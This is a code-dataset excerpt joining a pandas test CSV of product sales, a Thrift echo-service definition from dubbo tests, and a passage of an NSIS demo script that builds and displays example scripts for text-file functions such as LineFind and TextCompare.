326,125,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1993,1993-09-01
568,321,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1993,1993-10-01
691,922,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1993,1993-11-01
152,884,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1993,1993-12-01
565,38,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1994,1994-01-01
38,194,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1994,1994-02-01
185,996,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,1,1994,1994-03-01
318,532,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1994,1994-04-01
960,391,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1994,1994-05-01
122,104,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,2,1994,1994-06-01
400,22,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1994,1994-07-01
301,650,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1994,1994-08-01
909,143,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,3,1994,1994-09-01
433,999,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1994,1994-10-01
508,415,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1994,1994-11-01
648,350,U.S.A.,WEST,CONSUMER,OFFICE,CHAIR,4,1994,1994-12-01
793,342,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1993,1993-01-01
129,215,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1993,1993-02-01
481,52,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1993,1993-03-01
406,292,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1993,1993-04-01
512,862,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1993,1993-05-01
668,309,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1993,1993-06-01
551,886,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1993,1993-07-01
124,172,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1993,1993-08-01
655,912,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1993,1993-09-01
523,666,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1993,1993-10-01
739,656,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1993,1993-11-01
87,145,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1993,1993-12-01
890,664,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1994,1994-01-01
665,639,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1994,1994-02-01
329,707,U.S.A.,WEST,CONSUMER,OFFICE,DESK,1,1994,1994-03-01
417,891,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1994,1994-04-01
828,466,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1994,1994-05-01
298,451,U.S.A.,WEST,CONSUMER,OFFICE,DESK,2,1994,1994-06-01
356,451,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1994,1994-07-01
909,874,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1994,1994-08-01
251,805,U.S.A.,WEST,CONSUMER,OFFICE,DESK,3,1994,1994-09-01
526,426,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1994,1994-10-01
652,932,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1994,1994-11-01
573,581,U.S.A.,WEST,CONSUMER,OFFICE,DESK,4,1994,1994-12-01
| CSV | 1 | henriqueribeiro/pandas | pandas/tests/io/sas/data/productsales.csv | [
"BSD-3-Clause"
] |
namespace dubbo_java com.alibaba.dubbo.rpc.gen.dubbo
namespace dubbo_cpp com.alibaba.dubbo.rpc.gen.dubbo
namespace java com.alibaba.dubbo.rpc.gen.thrift
namespace cpp com.alibaba.dubbo.rpc.gen.thrift
service Demo {
bool echoBool( 1:required bool arg );
byte echoByte( 1:required byte arg );
i16 echoI16 ( 1:required i16 arg );
i32 echoI32 ( 1:required i32 arg );
i64 echoI64 ( 1:required i64 arg );
double echoDouble( 1:required double arg );
string echoString( 1:required string arg );
} | Thrift | 3 | xgj1988/dubbo | dubbo-rpc/dubbo-rpc-thrift/src/test/thrift/Demo.thrift | [
"Apache-2.0"
] |
;_____________________________________________________________________________
;
; Text Functions
;_____________________________________________________________________________
;
; 2006 Shengalts Aleksander aka Instructor (Shengalts@mail.ru)
Name "Text Functions"
OutFile "TextFunc.exe"
Caption "$(^Name)"
XPStyle on
RequestExecutionLevel user
!include "WinMessages.nsh"
!include "TextFunc.nsh"
Var HWND
Var INI
Var LOG
Var PROJECT
Var CALLBACK
Var VIEW
Var FUNCTION
Var LINEFIND1
Var LINEFIND2
Var LINEFIND3
Var LINEREAD1
Var LINEREAD2
Var FILEREADFROMEND1
Var LINESUM1
Var FILEJOIN1
Var FILEJOIN2
Var FILEJOIN3
Var TEXTCOMPARE1
Var TEXTCOMPARE2
Var TEXTCOMPARE3
Var CONFIGREAD1
Var CONFIGREAD2
Var CONFIGWRITE1
Var CONFIGWRITE2
Var CONFIGWRITE3
Var FILERECODE1
Var FILERECODE2
Page Custom ShowCustom LeaveCustom
Function ShowCustom
InstallOptions::initDialog "$INI"
Pop $hwnd
GetDlgItem $0 $HWND 1206
ShowWindow $0 0
GetDlgItem $0 $HWND 1208
ShowWindow $0 0
GetDlgItem $0 $HWND 1209
ShowWindow $0 0
StrCpy $FUNCTION LineFind
StrCpy $LINEREAD2 10
StrCpy $TEXTCOMPARE3 FastDiff
StrCpy $CONFIGREAD1 "$WINDIR\system.ini"
StrCpy $CONFIGREAD2 "shell="
StrCpy $FILERECODE2 CharToOem
InstallOptions::show
Pop $0
FunctionEnd
Function LeaveCustom
ReadINIStr $0 $INI "Settings" "State"
ReadINIStr $R0 $INI "Field 1" "State"
ReadINIStr $R1 $INI "Field 2" "State"
ReadINIStr $R2 $INI "Field 3" "State"
ReadINIStr $R3 $INI "Field 4" "State"
ReadINIStr $R4 $INI "Field 5" "State"
ReadINIStr $R5 $INI "Field 6" "State"
StrCpy $R4 $R4 8
StrCpy $R5 $R5 8
StrCpy $6 0
StrCpy $7 '$${'
StrCpy $8 'r'
StrCpy $9 'n'
StrCmp $0 10 Log
StrCmp $0 9 ViewOrEdit
StrCmp $0 0 Enter
goto MainSend
Log:
Exec 'notepad.exe $LOG'
Abort
ViewOrEdit:
StrCmp $FUNCTION FileReadFromEnd 0 Edit
StrCmp $VIEW '' 0 ViewFileReadFromEndCallback
GetTempFileName $VIEW $PLUGINSDIR
StrCpy $7 '$$'
FileOpen $0 $VIEW w
FileWrite $0 `Function FileReadFromEndCallback$\r$\n`
FileWrite $0 ` MessageBox MB_OKCANCEL '$7$$9 "Line"=[$$9]$7\$9$7$$8 "#"=[$$8]$7\$9$7$$7 "-#"=[$$7]' IDOK +2$\r$\n`
FileWrite $0 ` StrCpy $$R0 StopFileReadFromEnd$\r$\n$\r$\n`
FileWrite $0 ` Push $$R0$\r$\n`
FileWrite $0 `FunctionEnd$\r$\n`
FileClose $0
StrCpy $7 '$${'
SetFileAttributes $VIEW READONLY
ViewFileReadFromEndCallback:
Exec 'notepad.exe $VIEW'
Abort
Edit:
StrCmp $CALLBACK '' +5
StrCmp $6$R6 '0$R0$R4$R5' showproject
StrCmp $R6 '$R0$R4$R5' +3
Delete $CALLBACK
StrCpy $CALLBACK ''
StrCpy $R6 '$R0$R4$R5'
#Project#
StrCmp $6$R0 "01. LineFind" 0 +5
IfFileExists $CALLBACK +2
GetTempFileName $CALLBACK $PLUGINSDIR
FileOpen $0 $CALLBACK w
goto function
IfFileExists $PROJECT +2
GetTempFileName $PROJECT $PLUGINSDIR
FileOpen $0 $PROJECT w
#Name#
FileWrite $0 'Name "$FUNCTION"$\r$\n'
FileWrite $0 'OutFile "$PROJECT.exe"$\r$\n$\r$\n'
#!include#
StrCmp $R0$R4 '1. LineFindExample5' 0 TextFuncInclude
IfFileExists '$EXEDIR\WordFunc.nsh' 0 +3
FileWrite $0 '!include "$EXEDIR\WordFunc.nsh"$\r$\n'
goto +2
FileWrite $0 '!include "WordFunc.nsh"$\r$\n'
FileWrite $0 '!insertmacro WordFind$\r$\n'
FileWrite $0 '!insertmacro WordFindS$\r$\n'
FileWrite $0 '!insertmacro WordFind2X$\r$\n'
FileWrite $0 '!insertmacro WordFind2XS$\r$\n'
FileWrite $0 '!insertmacro WordFind3X$\r$\n'
FileWrite $0 '!insertmacro WordFind3XS$\r$\n'
FileWrite $0 '!insertmacro WordReplace$\r$\n'
FileWrite $0 '!insertmacro WordReplaceS$\r$\n'
FileWrite $0 '!insertmacro WordAdd$\r$\n'
FileWrite $0 '!insertmacro WordAddS$\r$\n'
FileWrite $0 '!insertmacro WordInsert$\r$\n'
FileWrite $0 '!insertmacro WordInsertS$\r$\n'
FileWrite $0 '!insertmacro StrFilter$\r$\n'
FileWrite $0 '!insertmacro StrFilterS$\r$\n'
TextFuncInclude:
IfFileExists '$EXEDIR\TextFunc.nsh' 0 +3
FileWrite $0 '!include "$EXEDIR\TextFunc.nsh"$\r$\n'
goto +2
FileWrite $0 '!include "TextFunc.nsh"$\r$\n'
FileWrite $0 '!insertmacro $FUNCTION$\r$\n'
StrCmp $FUNCTION TextCompare +2
FileWrite $0 '!insertmacro TrimNewLines$\r$\n'
#Section#
FileWrite $0 '$\r$\nSection -empty$\r$\n'
FileWrite $0 'SectionEnd$\r$\n$\r$\n'
#Function .onInit#
FileWrite $0 'Function .onInit$\r$\n'
StrCmp $R0$R5 "6. TextCompareExample1" 0 TextCompareExample235
FileWrite $0 ' StrCpy $$R0 ""$\r$\n'
FileWrite $0 ' $7TextCompare} "$R1" "$R2" "$R3" "$R5"$\r$\n'
FileWrite $0 ' IfErrors error$\r$\n'
FileWrite $0 ' StrCmp $$R0 NotEqual 0 +2$\r$\n'
FileWrite $0 ' MessageBox MB_OK " Files differ" IDOK +2$\r$\n'
FileWrite $0 ' MessageBox MB_OK " Files identical"$\r$\n'
FileWrite $0 ' goto end$\r$\n$\r$\n'
goto endoninit
TextCompareExample235:
StrCmp $R0$R5 "6. TextCompareExample2" +3
StrCmp $R0$R5 "6. TextCompareExample3" +2
StrCmp $R0$R5 "6. TextCompareExample5" 0 TextCompareExample4
FileWrite $0 ' StrCpy $$R0 "$R1"$\r$\n'
FileWrite $0 ' StrCpy $$R1 "$R2"$\r$\n$\r$\n'
FileWrite $0 ' GetTempFileName $$R2$\r$\n'
FileWrite $0 ' FileOpen $$R3 $$R2 w$\r$\n'
FileWrite $0 ' FileWrite $$R3 "$$R0 | $$R1$$\$8$$\$9"$\r$\n'
FileWrite $0 ' $7TextCompare} "$$R0" "$$R1" "$R3" "$R5"$\r$\n'
FileWrite $0 ' IfErrors error$\r$\n'
FileWrite $0 ' Exec "notepad.exe $$R2"$\r$\n'
FileWrite $0 ' goto end$\r$\n$\r$\n'
goto endoninit
TextCompareExample4:
StrCmp $R0$R5 "6. TextCompareExample4" 0 LineFindExample123456
FileWrite $0 ' StrCpy $$R0 "$R1"$\r$\n'
FileWrite $0 ' StrCpy $$R1 "$R2"$\r$\n$\r$\n'
FileWrite $0 ' GetTempFileName $$R2$\r$\n'
FileWrite $0 ' FileOpen $$R3 $$R2 w$\r$\n'
FileWrite $0 ' FileWrite $$R3 "$$R0 | $$R1$$\$8$$\$9"$\r$\n'
FileWrite $0 ' $7TextCompare} "$$R0" "$$R1" "$R3" "$R5"$\r$\n'
FileWrite $0 ' IfErrors error$\r$\n'
FileWrite $0 ' FileWrite $$R3 "$$\$8$$\$9$$R1 | $$R0$$\$8$$\$9"$\r$\n'
FileWrite $0 ' $7TextCompare} "$$R1" "$$R0" "$R3" "$R5"$\r$\n'
FileWrite $0 ' FileClose $$R3$\r$\n'
FileWrite $0 ' IfErrors error$\r$\n'
FileWrite $0 ' Exec "notepad.exe $$R2"$\r$\n$\r$\n'
FileWrite $0 ' goto end$\r$\n$\r$\n'
goto endoninit
LineFindExample123456:
FileWrite $0 ' $7$FUNCTION} "$R1" "$R2" "$R3" "$R4"$\r$\n'
FileWrite $0 ' IfErrors error$\r$\n'
FileWrite $0 ' MessageBox MB_YESNO " Open output file?" IDNO end$\r$\n'
FileWrite $0 ' StrCmp "$R2" "" 0 +3$\r$\n'
FileWrite $0 ` Exec 'notepad.exe "$R1"'$\r$\n`
FileWrite $0 ' goto end$\r$\n'
FileWrite $0 ' SearchPath $$R2 "$R2"$\r$\n'
FileWrite $0 ` Exec 'notepad.exe "$$R2"'$\r$\n`
FileWrite $0 ' goto end$\r$\n$\r$\n'
endoninit:
FileWrite $0 ' error:$\r$\n'
FileWrite $0 ' MessageBox MB_OK "Error"$\r$\n$\r$\n'
FileWrite $0 ' end:$\r$\n'
FileWrite $0 ' Quit$\r$\n'
FileWrite $0 'FunctionEnd$\r$\n$\r$\n'
#FunctionEnd#
#Function CallBack#
StrCmp $CALLBACK '' 0 close
function:
StrCmp $R0 '1. LineFind' 0 +8
FileWrite $0 'Function $R4$\r$\n'
StrCmp $R4 "Example1" Example1LF
StrCmp $R4 "Example2" Example2LF
StrCmp $R4 "Example3" Example3LF
StrCmp $R4 "Example4" Example4LF
StrCmp $R4 "Example5" Example5LF
StrCmp $R4 "Example6" Example6LF
FileWrite $0 'Function $R5$\r$\n'
StrCmp $R5 "Example1" Example1TC
StrCmp $R5 "Example2" Example2TC
StrCmp $R5 "Example3" Example3TC
StrCmp $R5 "Example4" Example4TC
StrCmp $R5 "Example5" Example3TC
Example1LF:
FileWrite $0 " $7TrimNewLines} '$$R9' $$R9$\r$\n"
FileWrite $0 " StrCpy $$R9 $$R9 '' 2 ;delete first two symbols$\r$\n"
FileWrite $0 " StrCpy $$R9 '$$R9$$\$8$$\$9'$\r$\n$\r$\n"
goto endwrite
Example2LF:
FileWrite $0 " $7TrimNewLines} '$$R9' $$R9$\r$\n"
FileWrite $0 " StrCpy $$R9 '$$R9 ~Changed line ($$R8)~$$\$8$$\$9'$\r$\n$\r$\n"
goto endwrite
Example3LF:
FileWrite $0 " StrCpy $$0 SkipWrite$\r$\n$\r$\n"
goto endwrite
Example4LF:
FileWrite $0 " FileWrite $$R4 '---First Line---$$\$8$$\$9'$\r$\n"
FileWrite $0 " FileWrite $$R4 '---Second Line ...---$$\$8$$\$9'$\r$\n$\r$\n"
goto endwrite
Example5LF:
FileWrite $0 " ; You can use:$\r$\n"
FileWrite $0 " ; $7WordFind}|$7WordFindS}|$7WordFind2X}|$7WordFind2XS}|$\r$\n"
FileWrite $0 " ; $7WordFind3X}|$7WordFind3XS}|$7WordReplace}|$7WordReplaceS}|$\r$\n"
FileWrite $0 " ; $7WordAdd}|$7WordAddS}|$7WordInsert}|$7WordInsertS}|$\r$\n"
FileWrite $0 " ; $7StrFilter}|$7StrFilterS}$\r$\n$\r$\n"
FileWrite $0 " $7WordReplace} '$$R9' ' ' '_' '+*' $$R9$\r$\n$\r$\n"
goto endwrite
Example6LF:
FileWrite $0 ' ;(Cut lines from a line to another line (also including that line))$\r$\n'
FileWrite $0 ' StrCmp $$R0 finish stop$\r$\n'
FileWrite $0 ' StrCmp $$R0 start finish$\r$\n'
FileWrite $0 ' StrCmp $$R9 "Start Line$$\$8$$\$9" 0 skip$\r$\n'
FileWrite $0 ' StrCpy $$R0 start$\r$\n'
FileWrite $0 ' StrCpy $$R1 $$R9$\r$\n'
FileWrite $0 ' goto code$\r$\n'
FileWrite $0 ' finish:$\r$\n'
FileWrite $0 ' StrCmp $$R9 "Finish Line$$\$8$$\$9" 0 code$\r$\n'
FileWrite $0 ' StrCpy $$R0 finish$\r$\n'
FileWrite $0 ' StrCpy $$R2 $$R8$\r$\n'
FileWrite $0 ' goto code$\r$\n'
FileWrite $0 ' skip:$\r$\n'
FileWrite $0 ' StrCpy $$0 SkipWrite$\r$\n'
FileWrite $0 ' goto output$\r$\n'
FileWrite $0 ' stop:$\r$\n'
FileWrite $0 ' StrCpy $$0 StopLineFind$\r$\n'
FileWrite $0 ' goto output$\r$\n$\r$\n'
FileWrite $0 ' ;;(Delete lines from a line to another line (also including that line))$\r$\n'
FileWrite $0 ' ; StrCmp $$R0 finish code$\r$\n'
FileWrite $0 ' ; StrCmp $$R0 start finish$\r$\n'
FileWrite $0 ' ; StrCmp $$R9 "Start Line$$\$8$$\$9" 0 code$\r$\n'
FileWrite $0 ' ; StrCpy $$R0 start$\r$\n'
FileWrite $0 ' ; StrCpy $$R1 $$R8$\r$\n'
FileWrite $0 ' ; goto skip$\r$\n'
FileWrite $0 ' ; finish:$\r$\n'
FileWrite $0 ' ; StrCmp $$R9 "Finish Line$$\$8$$\$9" 0 skip$\r$\n'
FileWrite $0 ' ; StrCpy $$R0 finish$\r$\n'
FileWrite $0 ' ; StrCpy $$R2 $$R8$\r$\n'
FileWrite $0 ' ; skip:$\r$\n'
FileWrite $0 ' ; StrCpy $$0 SkipWrite$\r$\n'
FileWrite $0 ' ; goto output$\r$\n$\r$\n'
FileWrite $0 ' code:$\r$\n'
FileWrite $0 ' ;...$\r$\n$\r$\n'
FileWrite $0 ' output:$\r$\n'
goto endwrite
Example1TC:
FileWrite $0 " StrCpy $$R0 NotEqual$\r$\n"
FileWrite $0 " StrCpy $$0 StopTextCompare$\r$\n$\r$\n"
goto endwrite
Example2TC:
FileWrite $0 " FileWrite $$R3 '$$8=$$9'$\r$\n"
FileWrite $0 " FileWrite $$R3 '$$6=$$7$$\$8$$\$9'$\r$\n$\r$\n"
goto endwrite
Example3TC:
FileWrite $0 " FileWrite $$R3 '$$8|$$6=$$9'$\r$\n$\r$\n"
goto endwrite
Example4TC:
FileWrite $0 " FileWrite $$R3 '$$8=$$9'$\r$\n$\r$\n"
goto endwrite
endwrite:
FileWrite $0 ' Push $$0$\r$\n'
FileWrite $0 'FunctionEnd$\r$\n'
close:
FileClose $0
goto $6
#FunctionEnd#
showproject:
StrCmp $R0 '1. LineFind' 0 +3
ExecWait 'notepad.exe $CALLBACK'
goto +4
SetFileAttributes $PROJECT READONLY
ExecWait 'notepad.exe $PROJECT'
SetFileAttributes $PROJECT NORMAL
Abort
MainSend:
GetDlgItem $0 $HWND 1210
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
EnableWindow $0 1
GetDlgItem $0 $HWND 1204
ShowWindow $0 1
EnableWindow $0 1
GetDlgItem $0 $HWND 1205
EnableWindow $0 1
GetDlgItem $0 $HWND 1206
ShowWindow $0 0
GetDlgItem $0 $HWND 1207
ShowWindow $0 0
GetDlgItem $0 $HWND 1208
ShowWindow $0 0
GetDlgItem $0 $HWND 1209
ShowWindow $0 0
GetDlgItem $0 $HWND 1211
EnableWindow $0 1
StrCmp $FUNCTION LineFind 0 +5
StrCpy $LINEFIND1 $R1
StrCpy $LINEFIND2 $R2
StrCpy $LINEFIND3 $R3
goto LineFindSend
StrCmp $FUNCTION LineRead 0 +4
StrCpy $LINEREAD1 $R1
StrCpy $LINEREAD2 $R2
goto LineFindSend
StrCmp $FUNCTION FileReadFromEnd 0 +3
StrCpy $FILEREADFROMEND1 $R1
goto LineFindSend
StrCmp $FUNCTION LineSum 0 +3
StrCpy $LINESUM1 $R1
goto LineFindSend
StrCmp $FUNCTION FileJoin 0 +5
StrCpy $FILEJOIN1 $R1
StrCpy $FILEJOIN2 $R2
StrCpy $FILEJOIN3 $R3
goto LineFindSend
StrCmp $FUNCTION TextCompare 0 +5
StrCpy $TEXTCOMPARE1 $R1
StrCpy $TEXTCOMPARE2 $R2
StrCpy $TEXTCOMPARE3 $R3
goto LineFindSend
StrCmp $FUNCTION ConfigRead 0 +4
StrCpy $CONFIGREAD1 $R1
StrCpy $CONFIGREAD2 $R2
goto LineFindSend
StrCmp $FUNCTION ConfigWrite 0 +5
StrCpy $CONFIGWRITE1 $R1
StrCpy $CONFIGWRITE2 $R2
StrCpy $CONFIGWRITE3 $R3
goto LineFindSend
StrCmp $FUNCTION FileRecode 0 +3
StrCpy $FILERECODE1 $R1
StrCpy $FILERECODE2 $R2
LineFindSend:
StrCmp $R0 "1. LineFind" 0 LineReadSend
StrCmp $FUNCTION LineFind 0 LineFindSend2
StrCmp $R4 "Example1" 0 +3
StrCpy $LINEFIND3 "3:-1"
goto LineFindSend2
StrCmp $R4 "Example2" 0 +3
StrCpy $LINEFIND3 "{5:12 15 -6:-5 -1}"
goto LineFindSend2
StrCmp $R4 "Example3" 0 +3
StrCpy $LINEFIND3 "2:3 10:-5 -3:-2"
goto LineFindSend2
StrCmp $R4 "Example4" 0 +3
StrCpy $LINEFIND3 "10"
goto LineFindSend2
StrCmp $R4 "Example5" 0 +3
StrCpy $LINEFIND3 "1:-1"
goto LineFindSend2
StrCmp $R4 "Example6" 0 +3
StrCpy $LINEFIND3 ""
goto LineFindSend2
StrCmp $R4 "Example7" 0 +2
StrCpy $LINEFIND3 "1:-1"
LineFindSend2:
StrCpy $FUNCTION LineFind
StrCmp $LINEFIND2 '/NUL' 0 +2
StrCpy $LINEFIND2 ''
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINEFIND1"
GetDlgItem $0 $HWND 1203
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINEFIND2"
GetDlgItem $0 $HWND 1205
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINEFIND3"
GetDlgItem $0 $HWND 1207
ShowWindow $0 1
GetDlgItem $0 $HWND 1211
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:Edit"
GetDlgItem $0 $HWND 1212
ShowWindow $0 1
StrCmp $LOG '' +2
EnableWindow $0 1
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:OutputFile"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:Range"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:Function"
StrCmp $R4 "Example7" 0 +9
GetDlgItem $0 $HWND 1203
EnableWindow $0 0
SendMessage $0 ${WM_ENABLE} 1 0
SendMessage $0 ${WM_SETTEXT} 1 "STR:/NUL"
GetDlgItem $0 $HWND 1204
EnableWindow $0 0
GetDlgItem $0 $HWND 1211
EnableWindow $0 0
abort
LineReadSend:
StrCmp $R0 "2. LineRead" 0 FileReadFromEndSend
StrCpy $FUNCTION LineRead
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINEREAD1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINEREAD2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 0
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:Line #"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
FileReadFromEndSend:
StrCmp $R0 "3. FileReadFromEnd" 0 LineSumSend
StrCpy $FUNCTION FileReadFromEnd
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILEREADFROMEND1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 0
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 0
GetDlgItem $0 $HWND 1209
ShowWindow $0 1
GetDlgItem $0 $HWND 1211
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:View"
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:Function"
Abort
LineSumSend:
StrCmp $R0 "4. LineSum" 0 FileJoinSend
StrCpy $FUNCTION LineSum
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$LINESUM1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 0
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 0
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
FileJoinSend:
StrCmp $R0 "5. FileJoin" 0 TextCompareSend
StrCpy $FUNCTION FileJoin
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILEJOIN1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILEJOIN2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 1
GetDlgItem $0 $HWND 1205
ShowWindow $0 1
EnableWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$FILEJOIN3"
GetDlgItem $0 $HWND 1206
ShowWindow $0 1
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile1"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile2"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:OutputFile"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
TextCompareSend:
StrCmp $R0 "6. TextCompare" 0 ConfigReadSend
StrCmp $FUNCTION TextCompare 0 TextCompareSend2
StrCmp $R5 "Example1" 0 +3
StrCpy $TEXTCOMPARE3 "FastDiff"
goto TextCompareSend2
StrCmp $R5 "Example2" 0 +3
StrCpy $TEXTCOMPARE3 "FastDiff"
goto TextCompareSend2
StrCmp $R5 "Example3" 0 +3
StrCpy $TEXTCOMPARE3 "FastEqual"
goto TextCompareSend2
StrCmp $R5 "Example4" 0 +3
StrCpy $TEXTCOMPARE3 "SlowDiff"
goto TextCompareSend2
StrCmp $R5 "Example5" 0 +2
StrCpy $TEXTCOMPARE3 "SlowEqual"
TextCompareSend2:
StrCpy $FUNCTION TextCompare
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$TEXTCOMPARE1"
GetDlgItem $0 $HWND 1203
SendMessage $0 ${WM_SETTEXT} 1 "STR:$TEXTCOMPARE2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 1
GetDlgItem $0 $HWND 1205
ShowWindow $0 1
EnableWindow $0 0
SendMessage $0 ${WM_ENABLE} 1 0
SendMessage $0 ${WM_SETTEXT} 1 "STR:$TEXTCOMPARE3"
GetDlgItem $0 $HWND 1208
ShowWindow $0 1
GetDlgItem $0 $HWND 1211
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:View"
GetDlgItem $0 $HWND 1212
ShowWindow $0 1
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:TextFile1"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:TextFile2"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:Option"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:Function"
abort
ConfigReadSend:
StrCmp $R0 "7. ConfigRead" 0 ConfigWriteSend
StrCpy $FUNCTION ConfigRead
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$CONFIGREAD1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
SendMessage $0 ${WM_SETTEXT} 1 "STR:$CONFIGREAD2"
GetDlgItem $0 $HWND 1204
ShowWindow $0 0
GetDlgItem $0 $HWND 1205
ShowWindow $0 0
GetDlgItem $0 $HWND 1211
ShowWindow $0 0
GetDlgItem $0 $HWND 1212
ShowWindow $0 0
GetDlgItem $0 $HWND 1213
SendMessage $0 ${WM_SETTEXT} 1 "STR:InputFile"
GetDlgItem $0 $HWND 1214
SendMessage $0 ${WM_SETTEXT} 1 "STR:Entry"
GetDlgItem $0 $HWND 1215
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $0 $HWND 1216
SendMessage $0 ${WM_SETTEXT} 1 "STR:"
Abort
ConfigWriteSend:
StrCmp $R0 "8. ConfigWrite" 0 FileRecodeSend
StrCpy $FUNCTION ConfigWrite
GetDlgItem $0 $HWND 1201
SendMessage $0 ${WM_SETTEXT} 1 "STR:$CONFIGWRITE1"
GetDlgItem $0 $HWND 1203
ShowWindow $0 1
